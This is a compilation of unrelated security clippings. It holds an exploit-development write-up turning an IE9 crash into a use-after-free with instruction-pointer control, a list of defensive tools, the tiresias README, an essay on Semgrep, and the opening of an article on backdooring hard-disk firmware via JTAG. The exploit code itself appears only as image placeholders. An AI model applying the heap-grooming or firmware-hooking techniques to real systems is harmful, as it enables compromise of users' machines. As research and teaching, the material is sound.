interesting, and with some persistence, ended up in control of EIP \(Extended
Instruction Pointer\)**.** This article walks through the whole analysis
process from a null pointer crash to fully controlling execution**.**

**Details of the initial crash:**

First, I simplified the POC \(Proof of Concept\) from 2000+ lines to the
following:

<img src='img/Temp2_1327.jpg' alt='image1.jpg' />

Running the POC in Windows 7 x64 would crash Internet Explorer \(IE\) 9 in
32-bit mode with both PageHeap enabled and disabled**.**

<img src='img/Temp2_1321.jpg' alt='image2.jpg' />

The NULL pointer dereference was caused by the following:

<img src='img/Temp2_1332.jpg' alt='image3.jpg' />

I ended up changing and adding some code in the simplified POC, hoping to get
something more interesting**.** Eventually, I ended up adding
"_ret.innerHTML=ret.innerHTML_ " right after the second appendChild\(\)
call**.**

Things got very interesting this time when I got something _totally_
different:

<img src='img/Temp2_1310.jpg' alt='image4.jpg' />

Then with PageHeap enabled I got the following:

<img src='img/Temp2_1324.jpg' alt='image5.jpg' />

So, why did "_ret.innerHTML=ret.innerHTML_ " change the game**?** To
understand what caused this behavior let's start by setting the following
break points \(BP\) and re-run the POC without setting ret.innerHTML**.**

<img src='img/Temp2_1326.jpg' alt='image6.jpg' />

This is pretty uninteresting**.** Now let's re-run with the same breakpoints
but this time with "ret.innerHTML=ret.innerHTML" but without PageHeap**.**

<img src='img/Temp2_1319.jpg' alt='image7.jpg' />

From the debugger output above, we can draw a conclusion that
“ret.innerHTML=ret.innerHTML” influenced applyElement's execution flow and
reached MSHTML**\!** CDoc::CreateMarkupFromInfo**.**

The next test would be break pointing on MSHTML**\!**
CDoc::CreateMarkupWithElement whenever MSHTML**\!** CElement::EnsureInMarkup
is hit, and studying the results both with and without setting
“ret.innerHTML”**.**

First, running without "ret.innerHTML=ret.innerHTML", but with the following
breakpoints set:

<img src='img/Temp2_1336.jpg' width='554' height='45' alt='image8.jpg' />

We notice that the second break point never triggers**.** Running the POC with
ret.innerHTML set we get a different result:

<img src='img/Temp2_1340.jpg' alt='image9.jpg' />

So, I jumped into IDA  to understand what's going on within EnsureInMarkup:

<img src='img/Temp2_1316.jpg' alt='EnsureInMarkup_1.jpg' />

If the check succeeds then the execution flow changes and reaches another
check:

<img src='img/Temp2_1338.jpg' alt='EnsureInMarkup_2.jpg' />

If this check fails, it gets us where we want to go, which is here:

<img src='img/Temp2_1341.jpg' alt='EnsureInMarkup_3.jpg' />

So what's ESI and what sets the values at \[ESI+26\] and \[ESI+0C\]**?** To
start answering these questions, let's set the following breakpoint for the
second test \(with PageHeap enabled\):

<img src='img/Temp2_1314.jpg' alt='image10.jpg' />

Now our next strategy would be setting a breakpoint on MSHTML**\!**
CSemanticElement::CreateElement, to get the new object address and set a
memory breakpoint at offset 0x26:

<img src='img/Temp2_1311.jpg' alt='image11.jpg' />

The above shows that when "ret.innerHTML=ret.innerHTML" is run it sets the
byte at \[ESI+26\] to 0**.**

This behavior would change the execution flow in MSHTML**\!**
CElement::EnsureInMarkup leading to the execution of
CDoc::CreateCMarkupFromInfo:

<img src='img/Temp2_1328.jpg' alt='image12.jpg' />

Notice “applyElement” gets executed twice**.** The first execution creates a
CMarkup object via “CDoc::CreateCMarkupFromInfo” through
“CDoc::CreateMarkupWithElement”**.** The second time applyElement executes, it
frees the object then re-uses it, leading to a “potentially” exploitable Use-
After-Free \(UAF - Use after free errors occur when a program continues to use
a pointer after it has been freed**.**\[i\]\)**.**

**Analysis of the new crash:**

With PageHeap enabled I got the following:

<img src='img/Temp2_1339.jpg' alt='image13.jpg' />

The above clearly shows that a CMarkup object has been freed via MSHTML**\!**
CMarkup::\`vector deleting destructor'**.** The next step would be finding
exactly where the object has been allocated and the exact size**.**

<img src='img/Temp2_1322.jpg' alt='image14.jpg' />

The following breakpoint would show the allocation \(PageHeap enabled\)**.**
Some output has been truncated or edited for readability**.**

<img src='img/Temp2_1334.jpg' alt='image15.jpg' />

Apparently the object has been allocated from MSHTML**\!**
CDoc::CreateMarkupFromInfo with size 0x190. Verifying this in IDA:

<img src='img/Temp2_1330.jpg' width='271' height='139' alt='HeapAlloc.jpg' />

The next step would be checking where the freed object has been
referenced**.** Assuming we have the following callstack:

<img src='img/Temp2_1333.jpg' alt='image16.jpg' />

If we set a breakpoint on MSHTML**\!** CElement::PrivateEnterTree, re-run the
PoC, and trace a bit through:

<img src='img/Temp2_1337.jpg' alt='image17_part1.jpg' />

<img src='img/Temp2_1309.jpg' alt='image17_part2.jpg' />

The CPhraseElement object contains a reference to the freed object at offset
0x2C**.** To verify this, we can set a breakpoint on
CPhraseElement::CreateElement, grab the address of the newly created object,
then finally set a memory breakpoint at offset 0x2C**.**

<img src='img/Temp2_1308.jpg' alt='image18.jpg' />

ESI below shows the address of the freed object**.**

<img src='img/Temp2_1325.jpg' alt='image19.jpg' />

If we go back to where the crash happened and try to understand what should
have been called in a perfect world**.** This is what we would get:

<img src='img/Temp2_1312.jpg' width='418' height='56' alt='image20.jpg' />

Then if we examine this:

<img src='img/Temp2_1331.jpg' width='570' height='106' alt='image21.jpg' />

The method that should have been called is AddRef**.** Apparently the object
has been freed and J it fails to run AddRef leading to potential code
execution**.**

To summarize:

1\. The CMarkup object is freed.

2**.** A reference is kept at offset 0x2C of the CPhraseElement object**.**

3**.** Failure to call AddRef leads to potential remote code execution \(RCE\)

**Controlling the freed object - To LFH or not to LFH \(Low Fragmentation
Heap\):**

Usually researchers would go with the option of activating LFH and then try to
fill up the freed memory**.** Here's what happens when choosing the LFH path:

<img src='img/Temp2_1335.jpg' width='556' height='657' alt='image22_part1.jpg'
/>

<img src='img/Temp2_1329.jpg' width='333' height='132' alt='image22_part2.jpg'
/>

Almost everything was filled up**.** However, the object that we need to
control was not**.** The reason is applyElement was called twice**.** The
object is created the first time applyElement is called**.** The second time
it's called the free/re-use happens, making it very difficult to win the race
condition with LFH enabled**.** To verify this:

<img src='img/Temp2_1320.jpg' alt='image23_part1.jpg' />

<img src='img/Temp2_1313.jpg' alt='image23_part2.jpg' />

If we check the memory around ESI, we would see that it has been filled right
after the first applyElement was called:

<img src='img/Temp2_1342.jpg' width='587' height='450' alt='image24.jpg' />

The current situation makes it hard to win a race condition and have that
object overwritten**.** So, I decided to play around without LFH enabled and
here's what happens:

<img src='img/Temp2_1317.jpg' alt='image25_part1.jpg' />

<img src='img/Temp2_1323.jpg' width='322' height='358' alt='image25_part2.jpg'
/>

Notice the two forward and backward link pointers \(Flink and Blink\) at
offset 0 and 4**.** Things are getting more interesting now. Increasing the
allocations and being lucky enough to write the adjacent chunk would
eventually give you the following result \(not 100 percent stable\):

<img src='img/Temp2_1315.jpg' alt='image26_part1.jpg' />

<img src='img/Temp2_1318.jpg' width='554' height='411' alt='image27.jpg' />

**Conclusion:**

A lot of crashes may seem pretty much useless**.** However minor modifications
can completely change the game**.** In our case, you can take a crash
manifesting as a null pointer in an entirely different direction**.** What may
seem like a useless call instruction can suddenly get very interesting if you
are persistent**.** Sometimes you just have to flex your reverse engineering
skills, and sometimes you just get plain lucky**.** Finally, take advantage of
how the memory manager handles the free lists, this may turn hard-to-control
Use-After-Free bugs into exploitable ones**.**

Step it up\! Take your 0x00000000 to 0-Day.

\-- Abdul-Aziz Hariri, HP Security Research

Note: The vulnerability used for this demonstration is described by the
following references:

http://technet.microsoft.com/en-us/security/bulletin/ms13-047

http://web.nvd.nist.gov/view/vuln/detail**?** vulnId=CVE-2013-3112

****

# TaoSecurity: Seven Cool Open Source Projects for Defenders

**Created:**| _1/13/2011 3:31:34 PM_  
---|---  
**Updated:**| _1/13/2011 3:31:49 PM_  
**Author:**| __  
**Tags:**| _security tools programming Defense_  
  

  * Charles Smutz recently announced his Ruminate IDS, whose goal is to "demonstrate the feasibility and value of flexible and scalable analysis of objects transferred through the network." Charles is also author of the Vortex prohect, a "a near real time IDS and network surveillance engine for TCP stream data."
  *   

  * Doug Burks just released a new version of SecurityOnion, an Ubuntu-based live CD to facilitate network security monitoring. You'll find many of the tools on this list in SO and I expect those missing will be included at some point\!
  *   

  * Over at Berkeley, development of the Bro IDS project is kicking into high gear with Seth Hall's new role as a full-time developer. We miss you Seth\!
  *   

  * OISF just released a new version of their Suricata IDS. If you're going to RSA next month, see the OISF team at their next Brainstorming Session. I plan to stop by.
  *   

  * Dustin Webber and new team member Jason Meller just released a new version of Snorby, a Web 2.0 interface for Snort alerts. I hope to see Snorby packaged in SO soon.
  *   

  * Edward Bjarte Fjellskål continues to release cool new code, from the packet capture system OpenFPC with Leon Ward to Polman for managing IDS rules.
  *   

  * Sourcefire's Razorback framework seems to be making some progress again, and the relaunch of new Snort, VRT, and ClamAV blogs under new community manager Joel Esler is a welcome move.

# xoreaxeaxeax/tiresias

**Created:**| _6/29/2017 4:06:20 PM_  
---|---  
**Updated:**| _6/29/2017 4:06:20 PM_  
**Author:**| __  
**Tags:**| __  
  

  

## tiresias

: arm and x86 are turing-complete without data fetches // domas, @xoreaxeaxeax

Tiresias is a brief proof of concept that ARM and x86 \(and most other Von
Neumann architectures\) are Turing-complete without actually reading data.

The project began as a thought experiment on circumventions to an arbitrary
'execute-only' memory protection. Looking at x86 for succinctness, the
\(somewhat uninspiring\) observation is that a data fetch:

[code]

    data: 0xdeadc0de
    mov eax, [data]
    
[/code]

can be simulated by an instruction fetch instead:

[code]

    mov eax, 0xdeadc0de
    
[/code]

A data write, then, simply modifies the immediate used in the instruction.
Memory can then be modeled as an array of 'fetch cells':

[code]

    cell_0:
    	mov eax, 0xdeadc0de
    	jmp esi
    cell_1:
    	mov eax, 0xfeedface
    	jmp esi
    cell_2:
    	mov eax, 0xcafed00d
    	jmp esi
    
[/code]

To read a memory cell, without a data fetch, we then:

[code]

    mov esi, mret
    jmp cell_2 ; load cell 2
    mret:
    
[/code]

And writing a data cell is simply modifying the immediate used:

[code]

    mov [cell_1+1], 0xc0ffee ; set cell 1
    
[/code]

Of course, for a proof of concept, we should actually _compute_ something,
without reading data. As is typical in this situation, the BrainF\#$\!
language is an ideal candidate for implementation - our fetch cells can be
easily adapted to fit the BF memory model. Reads from the BF memory space are
performed through a jmp to the BF data cell, which loads an immediate, and
jmps back; writes to the BF memory space are executed as self modifying code,
overwriting the immediate value loaded by the data cell. To satisfy our 'no
data fetch' requirement, we implement a BrainF\#$\! interpreter without a
stack. The I/O BF instructions \(. and ,\), which use an int 0x80, will, at
some point, use data reads of course, but this is merely a result of the Linux
implementation of I/O.

The result is functioning Turing-machines on ARM and x86 capable of execution
without ever touching the data read pipeline. Practical applications are
nonexistent.

[code]

    # build:
    $ make
    
    # verify there are no ARM data fetches:
    $ objdump -d tiresias | grep -e ldr -e ldm
    
    # or for x86:
    $ objdump -d tiresias | grep '),'
    $ objdump -d tiresias | grep -v mov | grep ',('
    
    # execute a program without reading data:
    $ cat hello_world.by | ./tiresias
      Hello World!
    
[/code]

This work is inspired by the blog post 'x86 is Turing-complete with no
registers'. http://mainisusuallyafunction.blogspot.com/2014/02/x86-is-turing-
complete-with-no-registers.html

  

# Modern Static Analysis: how the best tools empower creativity

**Created:**| _5/26/2021 5:49:13 PM_  
---|---  
**Updated:**| _5/26/2021 5:49:13 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Modern Static Analysis: how the best tools empower creativity

10 min read.

_**tl;dr** : Historically, heavyweight, slow static analysis tools focused on
**finding** vulnerabilities. This approach is fundamentally not the right path
for scaling security in modern development. Security teams today need tools
that are fast, customizable to our codebases, can easily be added to any part
of the SDLC, and are effective at enforcing secure coding patterns to
**prevent** vulnerabilities_

One of my first loves is program analysis. The essential idea is simple: lets
write software that can analyze other software to automatically detect \(and
thus prevent\) bugs, or more relevant to me, security vulnerabilities. My
first paper ever was on Javascript dynamic analysis to find client-side bugs
like XSS, postMessage flaws and so on. It is then a big surprise to a lot of
people that when asked what’s my favorite static analysis tool to integrate
into CI, I almost always say Semgrep today \(and used to say `grep` for
years\).

Grep and Semgrep are relatively simple and narrowly scoped. Program analysis
researchers have done years of amazing work on smart algorithms to infer
invariants of a whole program across function calls; while grep runs a regex
on the file and Semgrep runs very complicated and smart regexes on the AST
\(it does more, but let’s assume that for now\).

To understand why I think static analysis as part of an effective SDLC of a
modern application often focuses on these simpler tools, let’s walk through a
bit of history of the big players in this space and how security engineering
needs have evolved. This is, of course, my understanding of this space, but
please correct me if I am wrong\!

The most famous static analysis tools common for security/reliability are
Coverity, Fortify, and the linters/checks that ship with your compiler \(GCC,
Clang, Visual Studio toolchain\). These tools are absolutely amazing\! I was
an intern at Coverity and I can say that the amount of technical depth and
work that goes into creating these tools is mind-boggling. If you have a large
C/C++ code, use Coverity\! But, two things stand out about these tools:

  * **Small set of target languages:** These tools were really designed for a small set of languages \(typically C/C++ and/or Java\) and each new language is a lot of work. You have to add support for parsing, then integrate semantics of the new language, and then find & write rules that are relatively high signal.
  * **Powerful default rules:** These tools shipped with a set of rules that were written down by “smart people in an ivory tower” and we had to follow them. The typical static analysis product will not make it easy write your own rules, built on top of the analysis engine. While some tools \(notably, Fortify, Checkmarx\) do nowadays support writing custom rules, these are not easy to write. The main “product” for these tools were the bugs found, not the analysis engine to build on top of.

This made sense: memory unsafe languages like C/C++ were unique in that they
were widely used \(and still are\), and the patterns for the most common
security flaws \(memory safety\) are relatively well known and stable. The
challenge was finding these patterns in a high signal manner, given all the
undefined behavior in C/C++’s memory model that is commonly used.

But, modern “DevOps” software development is very different. Two changes in
particular are important: surge in number+types of languages and rise of
security engineering as a function.

  1. **Surge in languages used**

A standard modern app today, even if it wants to have as few languages as it
can, will need to have, at the least, an iOS language \(Swift/Objective-C\),
an Android language \(Kotlin or Java\), an HTML front end language
\(Javascript, CSS, HTML\), a language to manage your cloud infrastructure
\(Terraform, Pulumi\), config files in a bunch of formats \(Dockerfile,
package.json\), and a server side application language \(JS via NPM or
Python/Ruby or Go if you are lucky\). And that’s the minimum: for most
realistic scenarios, with large teams and a micro-services architectures, its
typical for server-side infrastructure to actually use 5-6 languages if not
more, and the mobile platforms to use 4 languages.

Worse, a majority of newer languages are dynamically-typed, interpreted and
rely on patterns that are extremely difficult for static analysis. Or, put
simply, there are _**more**_ \*\*languages \*\*and \*\*each language is \*\*_
**harder**_ __to statically reason about_._ This means that deep inference
based on understanding semantics has struggled to keep up.

For example, Ruby is a 25 year old language but the common use of meta-
programming patterns in Ruby makes static analysis extremely difficult \(I
know cos I once tried\!\). And new languages take over at a surprising speed:
Terraform is a security lynchpin for a large number of SaaS companies, but it
was first launched 6 years ago and the community is already talking about
newer languages like Pulumi. The classic static analysis approach of spending
years working on getting a deep understanding of one language just doesn’t
seem to work here. This has led to popularity of tools tied to a specific
language and even framework \(e.g., brakeman for Rails applications, gosec for
Go apps\). These tools typically analyze the abstract syntax tree \(or, parse
tree\) of the code and don’t do deeper inter-procedural value/type analysis.

  2. **Rise of Security Engineering**

Also called “shift left” or “devsecops”, Security is no longer seen as a
checklist step after product/eng work. Instead, effective security goes where
the developer goes; making the simplest path fast and safe. **The aim is not
to find bugs but to prevent vulnerabilities from ever landing in the repo.**

To achieve this, engineering and security teams work together on creating
frameworks and libraries for safe use, and security teams help provide input
and test these frameworks. Secure coding best practices and patterns are
defined and enforced. For example, a common pattern is for the security team
to define a `secure_encrypt` function that natively integrates with the key
management in use \(including key rotation support\) and uses strong
authenticated encryption algorithms. Secure coding guidelines typically would
require security review of an encryption library other than `secure_encrypt`.

Similarly, when a pentest or bug bounty finds a new vulnerability, security
engineering teams use the bugs as an input to a broader review of development
best-practices: where else are we using this pattern? Can we quickly find
these patterns? What’s the secure way to do this and how do we
detect/discourage the unsafe pattern?

As security engineering teams define best practices, they **need a scalable,
low-noise mechanism to detect unsafe practices and point developers toward
safe coding mechanisms**. These practices are often _specific_ to the company.
A security engineer today will often identify bad patterns, write a safe
version, and then rely on the static analysis tool to help identify usage of
the unsafe pattern in all old and new code. A static analysis engine that
doesn’t allow customization and modification is a non-starter. Working with
static analysis tools today is no longer a purely operational workflow, _it_
\*’\*_s a creative venture where a security engineer is building something new
on top of the analysis engine._

### Creativity and Static Analysis \#

What does creativity mean? What does it need? Molly Mielke, in her amazing
thesis on computers and creativity, finds that tools that enable creativity
with computers have a few characteristics.

> Innovation is largely dependent on the human capacity to think creatively,
> and there is a strong argument to be made that technology’s primary role is
> to speed up the creative process…. **Interoperable, moldable, efficient, and
> community-driven digital creative tools** hold immeasurable potential as co-
> creators with human beings.
While I encourage you to read her whole thesis to see why this is true, I can
personally attest that the tools that have allowed me to do the most have all
shared these characteristics \(e.g., GitHub\). Let’s look at each:

  * **Interoperable tools** are ones that don’t limit your work to a single piece of software’s capabilities. Static analysis tools that are only accessible when I login to their interface; that I can’t integrate with all aspects of a developer’s workflow \(develop, test, land, push\); all severely constrain what security can do with them. While most static analysis tools now have working integrations, they are still severely limited compared to something like grep/Semgrep. Being open-source binaries I can drop anywhere, grep/Semgrep only need the opportunity to run some code and they can be deployed. With closed engines, I have to ask if they support a particular integration; and I typically can’t run them in places where Internet access isn’t available.
  * **Moldable tools** allow customization to fit your needs. As I discussed above, modern security teams need to customize tools to their needs, based on the current secure coding practices. Common customizations include file ignore lists \(ignore experimental new apps or code in staging only\), allowing certain unsafe tools in certain directories. For example, security engineering might want to ban raw SQL, except in the files that implements the ORM itself. But, those files still need to disallow other patterns \(e.g., `eval`\) so we need to customize one specific rule and not disable the whole engine for these files. This is where Semgrep shines: path ignore lists can be customized to each rule, patterns can depend on other patterns \(`pattern-not-inside` and `pattern-inside` checks\), and matches can again be filtered \(e.g., regex checks on metavariable matches\).
Molding a tool requires understanding what it is doing. This is again where
simplicity of grep/Semgrep wins. When a grep/Semgrep rule has a false
positive, it is easy to understand _why_. In my experience, a typical
flow/context/path-sensitive analysis is very frustrating to understand. Is it
a false positive or a subtle, true bug? How do you customize something you
don’t even understand?

  * **Efficient tools** are fast\! Writing new rules is iterative. You write a rule that is either too restrictive or too broad, and you iterate until you get it just right. The static analysis engine needs to integrate with the developer’s workflow: a tool that takes hours to run cannot meaningfully integrate with developer workflows either. Grep really wins for this reason; Semgrep is slightly slower but still orders of magnitude faster than the typical tools.
  * **Community-driven:** Genius is never alone\! True creativity happens when people learn and build upon each other’s work. One of the best things about working in security is the community: all blue/purple teams are in this together and continuously sharing/learning best practices. Historially, static analysis tools have not enabled this community learning/sharing lessons. This is where Semgrep truly wins due to its community\! Even if Semgrep doesn’t natively support all languages and frameworks, the community will often have a rule for it. And this repository keeps growing\! If a new bug/risky-pattern is found, I can write a rule and everyone using Semgrep immediately benefits from it \(and as per above, adapt it to their needs\). Kevin created this fantastic image in the context of Canva’s success, but it adapts easily to Semgrep.  

<img src='https://devd.me/log/img/remote/Z7dXAI-640w.avif' width='800'
height='559' />

Semgrep core can focus on core, wide impact use cases while the community can
serve niche needs. And your security team can work on medium impact, highly
niche needs of your product. These three options never really existed before.

### Conclusion \#

Static analysis for security is different today. Software is written with many
more dynamic, interpreted language. And modern security teams focus on
enforcing secure defaults, _not_ finding bugs.

A static analysis strategy that relies on expensive, heavy integration for
each language does not work in this world. Instead, light-weight AST/text-
based tools that allow enforcing best practices as defined by the
security/engineering teams work best. Moreover, this creative work by security
teams needs tools that are interoperable, moldable, efficient, and community
driven. I am excited where the Semgrep community goes as it embraces this
idea.

Now, this doesn’t mean smarter static analysis tools are dead. The ideas
behind these tools are some of the most powerful ideas in computer science. To
be successful, the tools built on these ideas need to embrace that they are
creative tools in the hands of their users. How can they make their analysis
fast, understandable, and community-driven? Github/Semmle has a very similar
community-driven approach. But the tool lacks the open interoperability,
understandability, and speed of Semgrep. At the same time, Semgrep continues
to get smarter with support for constant inference, basic flow analysis and so
on.

If Semmle becomes understandable, faster, open; before Semgrep becomes
smarter, Semmle could win\! But, either way, whatever happens, security teams
win\!

_Thanks to Clint Gibler, Matthew Finifter, Max Burkhardt, Sean Byrne for their
feedback. All mistakes are mine and I would love your feedback._

\---

Since you've made it this far, sharing this article on your favorite social
media network would be highly appreciated \! For feedback, please ping me on
Twitter.

Published 24 May 2021

Devdatta Akhawe

# Hard disk hacking - Intro

**Created:**| _10/25/2013 8:53:24 AM_  
---|---  
**Updated:**| _10/25/2013 9:21:36 AM_  
**Author:**| _wishi_  
**Tags:**| _hardware backdoor_  
  

**Intro**

  

_Apart from this article, I also gave a talk at_ _OHM2013_ _about this
subject. The video of that talk \(minus the first few minutes\) is now_
_online_ _._

  

<img src='img/Temp2_3636.jpg' />

Hard disks: if you read this, it's pretty much certain you use one or more of
the things. They're pretty simple: they basically present a bunch of 512-byte
sectors, numbered by an increasing address, also known as the LBA or Logical
Block Address. The PC the HD is connected to can read or write data to and
from these sectors. Usually, a file system is used that abstracts all those
sectors to files and folders.

  

If you look at an HD from that naive standpoint, you would think the hardware
should be pretty simple: all you need is something that connects to a SATA-
port which can then position the read/write-head and read or write data from
or to the platters. But maybe more is involved: don't hard disks also handle
bad block management and SMART attributes, and don't they usually have some
cache they must somehow manage?

  

All that implies there's some intelligence in an hard disk, and intelligence
usually implies hackability. I'm always interested in hackability, so I
decided I wanted to look into how hard disks work on the non-mechanical level.
Research like this has been done before for various bits of hardware: from PCI
extension cards to embedded controllers in laptops to even Apple keyboards.
Usually the research has been done in order to prove the hackability of these
devices can lead to compromised software, so I decided to take the same
approach: for this hack, I wanted to make a hard disk that could bypass
software security.

  

  

**Parts on the PCB**

  

To figure out if hard disks are hackable, I first had to get to know them
better. Luckily, like most of you, I had a whole stack of old and/or broken
hard disks to look at:

  

<img src='b91d303d2147faf00a70cf2faab06928' />

Ofcourse, we all know how the mechanical parts of a hard disk are supposed to
work, and I wasn't really interested in those parts. My interest was in the
little PCB that's on the back of most HDs and where the SATA and power
connectors were located. This is what such a PCB looks like:

  

<img src='img/Temp2_3637.jpg' />

You can see that there are about four chips on the PCB. This is what I found
out about them:

  

<img src='img/Temp2_3639.jpg' />

This is a bit of DRAM. It's a jellybean part, with easy-to-find datasheets.
The capacity of these chips range from 8MB to 64MB, and these sizes correspond
to the cache size the hard disk is supposed to have.

  

<img src='img/Temp2_3646.jpg' />

This is the spindle motor controller. It's not a standard part, so datasheets
are hard to find, but some of the controllers seem to have brothers and
sisters that are a bit easier to find. ST Smooth controllers seem to be the
most used ones; apart from driving the spindle motor, they also do power
regulation and have some A/D channels.

  

<img src='img/Temp2_3638.jpg' />

This is a bit of serial flash. It's also a jellybean part, with sizes ranging
from 64KB to 256KB. It seems to be used to store the program the hard disk
controller boots up from. Some hard disks don't have this chip but have the
flash internal to the HD controller chip instead.

  

<img src='img/Temp2_3644.jpg' />

These little devices aren't chips, but piezo-electric shock sensors. They can
be used to move the heads somewhere safe when the HD experiences a mechanical
shock, but more likely just set a bit somewhere to indicate your warranty is
void because you dropped your HD.

  

<img src='img/Temp2_3641.jpg' />

And this is the bit where all the fun stuff happens: the hard disk controller.
They are made by Marvell, ST and some other LSI companies. Some hard disk
companies also make their own controllers: I've seen both Samsung and Western
Digital do this. With almost everything else being a jellybean part, this is
the device I was interested in.

  

Unfortunately, these parts are somewhat underdocumented. Saying the companies
making the controllers aren't too kind on revealing information about them is
an understatement: they don't even mention the existence of the part numbers
on their sites\! Unfortunately, the rest of the Internet isn't too helpful
either: looking for datasheets only reveal datasheet-sites not having the
actual PDFs and obscure Chinese sellers claiming to have the ICs.

  

So, no datasheets of the most important IC, that means we're stranded, right?

  

**Hooking up JTAG**

  

Luckily, there are other ways to find out information about these ICs than
datasheets. One of my web searches actually resulted in something useful.

  

what I found was a thread from a guy called Dejan on the HDDGuru forums. Dejan
had managed to corrupt the internal flash of his hard disk in some way and
wanted to know if there's a way to either boot the controller from external
flash, or a method to re-write the flash. For five days, he doesn't get a
reponse, but the guy is inventive: the next thing he posts is the message that
he has found the pinout of the JTAG-port. That's a major find: the JTAG-port
can be used to control a controller like a puppet. You can stop it, restart
it, modify memory, set breakpoints etc with it. Dejan then figures out how to
dump the boot ROM of the controller, figures out there's a serial port on one
of the hard disk headers and manages to restore his flash ROM. He then dumps a
few more bits and pointers about the flash update process before finally
disappearing into the mists of the Internet again.

  

All this was pretty useful information: it told me at least the Western
Digital controllers seem to have an ARM-core that's accessible over the JTAG-
port. It also told me these hard disks usually have a serial port, which is
usually unused but could be useful for debugging my hack. With this, I should
have enough information to start hacking.

  

So, this is my setup:

  

<img src='img/Temp2_3635.jpg' />

The red thing is an FT2232H-board, a cheap board you can get for about EUR30
which can do JTAG and serial, as well as SPI-communications. It's connected to
the JTAG-interface of the hard disk, as well as the header where the hard disk
has its serial port. The HD is directly connected to the SATA-port on my
computers mainboard, as well as to an external ATX power supply. I use OpenOCD
as the software to drive the JTAG-port.

  

Now, the question is: would it actually work? Dejan did this with a 2.5" 250G
HD with an 88i6745-controller, and he detected an arm9-core. I grabbed a 3.5"
2TB HD with an 88i9146-controller instead, which had a different form factor
and is a bit newer. Luckily, OpenOCD has a way to detect what's on the JTAG
chain by itself. This is what it found:

  

<img src='img/Temp2_3642.jpg' />

This confused me for a bit... I expected a single tap, for the single ARM core
that's inthere... but instead, I found _three_ taps... does that mean this
chip has three ARM-cores?

  

After some research, I found out that yes, the chip indeed seems to have three
cores. There's two Feroceons, which are quite powerful arm9-like cores, and a
Cortex-M3 core, which is a bit smaller, more microcontroller-ish core. Some
more playing around \(and later research\) indicating the controllers all had
different functions:

  * Feroceon 1 handles the physical reading and writing from/to the hard disk platters
  * Feroceon 2 handles the SATA-interface
  * Feroceon 2 also handles the cache and LBA to CHS translation
  * The Cortex-M3 handles... nothing? I could stop it and still have all hard disk functions.

Now, what core to start hacking at? My target was to try and compromise the
security of a system by using hard disk firmware mods. The easiest and
probably hardest-to-detect way to do this was to modify data on the fly. That
way, the data on the disk wouldn't need to be changed and the firmware could
just make itself invisible. To do this, I would need to find a suitable core
to that kind of interception: I needed to have a core that would have access
to the data when it's in-transit from the disk to the SATA-cable, and also
could be rigged to modify the data while it was in between those two points.

  

Now, how would that data get from the HD platters to the SATA interface?
Here's where I used a bit of intuition. My reasoning went something like this:

If the processors would use a standard memory copy, with them running at
150MHz, they would only be able to reach 150\*23/2=2.4Gbps, and in practice
most likely much less. The hard disk is specced at 6Gbps, so there's probably
some hardware acceleration involved. The most likely hardware acceleration
would be to use DMA. That would mean the data is copied directly from the head
reading logic to memory, without active involvment of the processor. The same
goes for the SATA-port: the processor would have to only indicate where the
data is, and the DMA logic would take care of reading the data directly from
memory.

  

If this was the case, where would the memory that the DMA-engine would be
pointed at, be located? The cache of the hard disk would be a good location:
data read from the disk would need to be in cache anyway, so it would make
sense to copy it there immediately when reading from the disk. I figured out
earlier that Feroceon 2 was responsible for the cache handling; that'd make it
a prime target for a hacking attempt.

  

So, I deduced that the data was read and written through DMA, without any CPU
action involved. Now the question was: Even if the CPUs _won't_ touch the data
in normal operation, _can_ they actually access it? To answer this question, I
first used the JTAG-connection and a bit of disassembly to figure out the
memory map of the 2nd Feroceon:

  

<img src='img/Temp2_3640.jpg' />

As you can see, the memory map is a bit fragmented. There are small bits of
RAM sprinkled around, there's some IO and IRQ space, and a bit of internal
boot ROM. There also is a big, 64MB segment of what I suspected was the DRAM-
chip with the cache in it. Let's find out if this is actually true. First, I
mounted the disk on my machine and wrote 'Hello world\!' to a file on it. Now,
could I find the string in the 64MB mem region?

  

<img src='img/Temp2_3643.jpg' />

Yep, there it is. Seems the cache is accessible by the Feroceons and mapped to
the 64MB DRAM region.

  

**Injecting code**

  

Ofcourse, if I wanted to change something in the cache, I couldn't scan the
complete 64MB of RAM every time: I needed to know how the cache works. For
that, I would need to dump, disassemble and understand the hard disk firmware
at least enough to make sense of the caching functions.

  

Disassembling this firmware is not a trivial task. First of all, the code
mixes ARM and thumb-style instructions, which is irritating if you don't have
a disassembler which can automatically switch between the two. Furthermore,
something that usually makes disassembling software a lot easier is absent:
Usually, routines are coded to spit out messages like "Couldn't open logfile\!
when something goes wrong. These messages are a huge help in figuring out what
a routine does. This firmware, however, has none of these strings: you need to
figure out what a routine does purely by the code. The codebase seems to be a
bit old, though, and sometimes the disassembly feels like some features have
been 'bolted on' to the code later, making everything a bit more complicated.

  

There also are a few things that make life easier, though. First of all, it
seems Western Digital hasn't been intentionally obfuscating the code: no
tricks like jumping in the middle of an instruction have been used. Also,
because the JTAG-interface is available, you can meddle with the code, set
breakpoints or change it on-the-fly, making figuring out what routine gets run
when immensely easier.

  

After a long time of staring at the code, trying to make sense of things and
sometimes jumping into the debugger to see if a guess was correct, I managed
to get to the core of the caching system: a table in RAM I call the 'cache
descriptor table':

  

<img src='img/Temp2_3634.jpg' />

Every entry in the cache descriptor table describes a block in the cache. It
contains the start LBA of the disk sectors that are or should be cached, how
much of the cache actually is filled with disk data, some flags indicating the
state of the cache entry and a number indicating where in memory the cached
data resides.

  

Now, with the secrets of the cache descriptor table unraveled, could I
intercept a disk read before it'd go out the SATA-port to the PC? To do that,
I'd need to be able to execute my own code on the hard disk controller.
Moreover, I would have to make sure the code would get run on the correct
time: if it modified the cache too soon, the data wouldn't be in there yet; if
it modified the cache too late, the data would've already gone to the PC.

  

The way I did this was by hooking an existing routine. My hack would be in
Feroceon 2, and that CPU did all the SATA transfers, so there must be some
routine that's responsible for setting up the SATA hardware to pick up the
data from cache. If I could find this routine, I could perhaps run my own code
before it.

  

After a lot of browsing, setting breakpoints, failing and trying again, I
finally found some routine that fit the bill. I modified it to run my code
before it by hooking it. Here's the original code:

  

000167BE ; r0 - slot in sata\_req  
000167BE sub\_0\_167BE:  
000167BE PUSH \{R4-R7,LR\}  
000167C0 MOVS R7, R0  
000167C2 **LSLS R1, R0, \#4**  
000167C4 **LDR R0, =sata\_req**  
000167C6 **SUB SP, SP, \#0x14**  
000167C8 **ADDS R6, R1, R0**  
000167CA **LDRB R1, \[R6,\#0xD\]**  
000167CC LDR R2, =stru\_0\_40028DC  
